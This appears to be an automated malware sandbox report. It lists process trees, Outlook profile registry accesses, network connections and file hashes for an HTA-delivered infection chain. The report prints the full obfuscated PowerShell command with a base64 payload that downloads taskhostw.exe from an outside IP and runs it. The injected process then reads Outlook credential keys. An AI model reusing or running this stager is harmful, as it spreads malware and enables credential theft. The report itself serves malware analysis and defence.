PID 2868 wrote to memory of 2772 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2868 wrote to memory of 2772 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2316 wrote to memory of 2896 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 2316 wrote to memory of 2896 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 2316 wrote to memory of 2896 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 2316 wrote to memory of 2896 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 2896 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2896 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2896 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2896 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2896 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2896 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2896 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2896 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\16102024_0140_niceworkingprojectforeveryone.hta"

C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE

"C:\Windows\sysTeM32\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE" "pOwerSHelL -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt ; IeX($(IEx('[sySTeM.tExt.EncOdInG]'+[cHaR]0x3a+[CHAR]58+'UTf8.geTstrINg([SySteM.coNVeRt]'+[CHar]0X3A+[Char]58+'frOmbase64striNG('+[cHar]34+'JHhzZ1dMTGJ3cHcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYmVSREVGSU5JdElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxR0Fnd2p0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdnVEaE5SWGRkLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmtGUlVRQWIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiS2NkY3VuVHoiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNwQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiTE1URWdJVnBORyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhzZ1dMTGJ3cHc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy4yNS8yNzAvdGFza2hvc3R3LmV4ZSIsIiRFTlY6QVBQREFUQVx0YXNraG9zdHcuZXhlIiwwLDApO1N0YVJ0LVNMRUVwKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHRhc2tob3N0dy5leGUi'+[CHAR]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a3erzvzu.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8602.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8601.tmp"

C:\Users\Admin\AppData\Roaming\taskhostw.exe

"C:\Users\Admin\AppData\Roaming\taskhostw.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Users\Admin\AppData\Roaming\taskhostw.exe"

Network

Country Destination Domain Proto
US 172.245.123.25:80 172.245.123.25 tcp
US 8.8.8.8:53 checkip.dyndns.org udp
BR 132.226.247.73:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 104.21.67.152:443 reallyfreegeoip.org tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 aa159bd2e415cfd34e1f0815b05a246c
SHA1 a5076713116fa301c5f749a1b646a01db936a3b1
SHA256 ac7cdf7431b28953388ed21f99645cdc15ebe1efda468545a95876b0224e661f
SHA512 3f6e0f23ef4b3bc2201029efd0376ea9f8ed370ce8fcbc38d6171e33556c59fc5645618d88ed11f062c6f2158db67c4c1e40da382ae985dc6668eeb08d9d7b78

\??\c:\Users\Admin\AppData\Local\Temp\a3erzvzu.cmdline

MD5 a35aa4e335fdf2563f4fa23cf3d49f11
SHA1 62d90fa02d4a8a0a4952aa648ef61f296b09d6cf
SHA256 5507d350a25c56f0fb3b2ee88c8bb50a258f86ec4385fa70bf74fb5cad4dfa61
SHA512 53ff64f8ae3c4a605353ebb7de123c7468613b9afc31d5e09ad01d9022bd2fad3369e7026e3df128935059bd95f6e3607e94d3fb4227ea28d496b3010a256ed8

\??\c:\Users\Admin\AppData\Local\Temp\a3erzvzu.0.cs

MD5 ecc2c10cb4c5954e2d5156bce54e41f4
SHA1 2d7cde31f9942c1dc80c493c03d675962991bf31
SHA256 21d7b2d886e9a8c3cf70d60b612151ecf35df156524dda00bc5f0c14df45b3ac
SHA512 bfce3f87e8f97f1a8f149c7f3e172e312019a4189fd1e33bdb7d2c617c6bbf41f548e91c12f71b5e8215397138ea643430f0ee87d72b33760c0dd2e3b8ae4d96

C:\Users\Admin\AppData\Local\Temp\RES8602.tmp

MD5 95620a347d51db77f4a5c57a6b1b840e
SHA1 6d7f9ef008c97b0a20d1411a446bfe14e2abb81c
SHA256 6562885a0315b918541689be9239a14fd4c44e3d53a5b544bce398682680fe5f
SHA512 a9edb4bb78916cd394946f73a8dbea798ac1fb3063df84dcbf97b341778445b438a303d8ed70f5ff3eb350e57cbef2731315b70d6b5ddaec70bfc10d62898224

C:\Users\Admin\AppData\Local\Temp\a3erzvzu.pdb

MD5 2822de9663d6b2e4e0d911419c587a27
SHA1 6057202b17f53918cbc8efa925ed8d2cdd6723ea
SHA256 a79b6312d75f66ee9e5ccca0ea8b001f9db211c6d21c05fea9d4eb788fe7a67e
SHA512 3797e6161f4fdac62939385ed75e8384e3c1bae9ee5d06c2444f631f632fdc7d5d8a5a68be5d0cd1d1fc1ca782ea5ff302ad3e5e4ca3b3bb59c0bb03abf861a7

C:\Users\Admin\AppData\Local\Temp\a3erzvzu.dll

MD5 5c337f847566d92b9f38ce0f4c0cc8f3
SHA1 8ba8640810bbdfa72f02b1e55737bfffab49203a
SHA256 4a0a9201c590012f7a8e38cd42c220853f573c219fe48bea13aee7782cb92312
SHA512 b6adb63b0f933c3d408e99e591117e4926183276a923ad2428ce12d53f08824a338650046d2c35803b182da7a83a83b6f6df8f5b0b23491029269de7ba588557

\??\c:\Users\Admin\AppData\Local\Temp\CSC8601.tmp

MD5 b6578b91401729f486ddc70ef092c351
SHA1 9920c39989cf48f106a98a9092ede1816f90eff1
SHA256 bb0261b231cc16054f6cb81eee13f60aa45bd2040b2404b51f49860fae1e1d08
SHA512 72623414964a4862cbfd45fe27efd972458ba9ca3cc36b41894f08f3693acd246a51fcb7d003ed8a1d2a732df0d07a05457f4cffaeba3f02970eac549870c47b

C:\Users\Admin\AppData\Roaming\taskhostw.exe

MD5 3e2f27edd3deacd8f08f6ed1133b2040
SHA1 060e3218949c5a006bb8607e8228e6539b737bfb
SHA256 163a25e2b68ed09eb4cf82f28c87568969091764bdfb4140b4675a00e2d2ed86
SHA512 da437c39e3337f6750c3b9353c71999c16415ec1fecdaa4bba676bb12207cb51a7258b91b175d1893ae4e9111fa9ccf027151ad7527d9d78df59f86436cfdb42

memory/2440-36-0x0000000000400000-0x0000000000426000-memory.dmp

memory/2440-35-0x0000000000400000-0x0000000000426000-memory.dmp

memory/2440-34-0x0000000000400000-0x0000000000426000-memory.dmp